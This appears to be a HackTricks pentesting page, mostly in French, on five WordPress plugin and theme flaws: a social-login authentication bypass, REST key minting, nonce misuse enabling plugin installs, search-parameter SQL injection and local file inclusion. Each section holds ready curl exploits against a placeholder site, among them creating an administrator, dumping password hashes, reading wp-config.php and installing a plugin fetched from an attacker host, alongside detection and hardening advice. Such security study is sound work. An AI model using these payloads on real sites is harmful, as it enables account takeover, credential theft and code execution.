Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

De nombreux thÚmes/plugins fournissent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.

Schéma défaillant typique (simplifié)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đŸ”„ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Pourquoi c'est exploitable

  • Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_
 action).
  • Aucune vĂ©rification nonce/capability avant toute modification d'Ă©tat.
  • Absence de vĂ©rification du provider OAuth/OpenID ; la branche par dĂ©faut accepte l'entrĂ©e de l'attaquant.
  • get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requĂ©rant comme n'importe quelle adresse e-mail existante.

Exploitation (sans authentification)

  • PrĂ©requis : l'attaquant peut atteindre /wp-admin/admin-ajax.php et connaĂźt/devine une adresse e-mail d'utilisateur valide.
  • DĂ©finir provider sur une valeur non supportĂ©e (ou l'omettre) pour atteindre la branche par dĂ©faut et transmettre id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 avec un corps JSON comme {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* pour l'utilisateur victime ; les requĂȘtes suivantes sont authentifiĂ©es.

Finding the action name

  • Inspecter le thĂšme/plugin pour des enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex., framework/add-ons/social-login/class-social-login.php).
  • Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les handlers AJAX.

Detection checklist

  • Web logs montrant des POST non authentifiĂ©s vers /wp-admin/admin-ajax.php avec l'action social-login et id=.
  • RĂ©ponses 200 avec le JSON de succĂšs prĂ©cĂ©dant immĂ©diatement du trafic authentifiĂ© provenant de la mĂȘme IP/User-Agent.

Hardening

  • Ne pas dĂ©river l'identitĂ© Ă  partir des donnĂ©es client. N'accepter que des emails/IDs provenant d'un token/ID fournisseur validĂ©.
  • Exiger des nonces CSRF et des vĂ©rifications de capability mĂȘme pour les helpers de login ; Ă©viter d'enregistrer wp_ajax_nopriv_ sauf si strictement nĂ©cessaire.
  • Valider et vĂ©rifier les rĂ©ponses OAuth/OIDC cĂŽtĂ© serveur ; rejeter les providers manquants/invalide (pas de fallback sur POST id).
  • Envisager de dĂ©sactiver temporairement le social login ou de corriger virtuellement au niveau du pĂ©rimĂštre (bloquer l'action vulnĂ©rable) jusqu'Ă  correction.

Patched behaviour (Jobmonster 4.8.0)

  • RetirĂ© le fallback non sĂ©curisĂ© de $_POST['id'] ; $user_email doit provenir des branches fournisseur vĂ©rifiĂ©es dans switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≀ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Pourquoi c'est exploitable

  • Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
  • No capability enforcement; minted key is accepted as a universal bypass

Detection checklist

  • Grep le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Toute route qui Ă©met des tokens/keys basĂ©s sur une identitĂ© fournie dans la requĂȘte (username/email) sans la lier Ă  un utilisateur authentifiĂ© ou Ă  une capability
  • Rechercher les routes ultĂ©rieures qui acceptent le token/key créé sans vĂ©rifications de capability cĂŽtĂ© serveur

Durcissement

  • Pour toute REST route privilĂ©giĂ©e : exiger un permission_callback qui applique current_user_can() pour la capability requise
  • Ne pas gĂ©nĂ©rer de clĂ©s Ă  longue durĂ©e de vie Ă  partir d'une identitĂ© fournie par le client ; si nĂ©cessaire, Ă©mettre des tokens de courte durĂ©e, liĂ©s Ă  l'utilisateur aprĂšs authentification, et revĂ©rifier les capabilities lors de l'utilisation
  • Valider le contexte utilisateur de l'appelant (wp_set_current_user ne suffit pas seul) et rejeter les requĂȘtes oĂč !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≀ 3.5.3)

Nonces prevent CSRF, not authorization. Si le code considÚre le passage d'un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (p.ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de nonce faible et atteindre le RCE en installant un plugin backdoored ou vulnérable.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (la forme dépend du plugin ; à titre illustratif seulement)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
  • Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

SQLi non authentifiĂ© via le paramĂštre s (search) dans les actions depicter-* (Depicter Slider ≀ 3.6.1)

Plusieurs actions depicter-* consommaient le paramĂštre s (search) et l'ont concatĂ©nĂ© dans des requĂȘtes SQL sans paramĂ©trisation.

  • ParamĂštre : s (search)
  • Faille : concatĂ©nation directe de chaĂźnes dans les clauses WHERE/LIKE ; pas de requĂȘtes prĂ©parĂ©es ni d'assainissement
  • Impact : exfiltration de la base de donnĂ©es (utilisateurs, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Checklist de détection

  • Grep pour depicter-* action handlers et l'utilisation directe de $_GET['s'] ou $_POST['s'] dans des requĂȘtes SQL
  • Revoir les requĂȘtes personnalisĂ©es passĂ©es Ă  $wpdb->get_results()/query() concatĂ©nant s

Durcissement

  • Utiliser toujours $wpdb->prepare() ou les placeholders de wpdb ; rejeter cĂŽtĂ© serveur les mĂ©tacaractĂšres inattendus
  • Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractĂšres/longueur attendus

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≀ 2.5.1)

Accepter des chemins contrÎlés par l'attaquant dans un paramÚtre template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois d'exécuter du code si des fichiers PHP/log inclusibles sont chargés au runtime.

  • ParamĂštre: __kubio-site-edit-iframe-classic-template
  • Flaw: pas de normalisation/allowlisting ; traversal permis
  • Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, includable PHP)

PoC – lire wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Liste de contrÎle de détection

  • Tout handler concatĂ©nant des chemins de requĂȘte dans des sinks include()/require()/read sans confinement via realpath()
  • Recherchez des traversal patterns (../) atteignant en dehors du rĂ©pertoire de templates prĂ©vu

Durcissement

  • Imposer des templates autorisĂ©s ; rĂ©soudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
  • Normaliser les donnĂ©es d'entrĂ©e ; rejeter les sĂ©quences de traversal et les chemins absolus ; n'utiliser sanitize_file_name() que pour les noms de fichiers (pas les chemins complets)

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks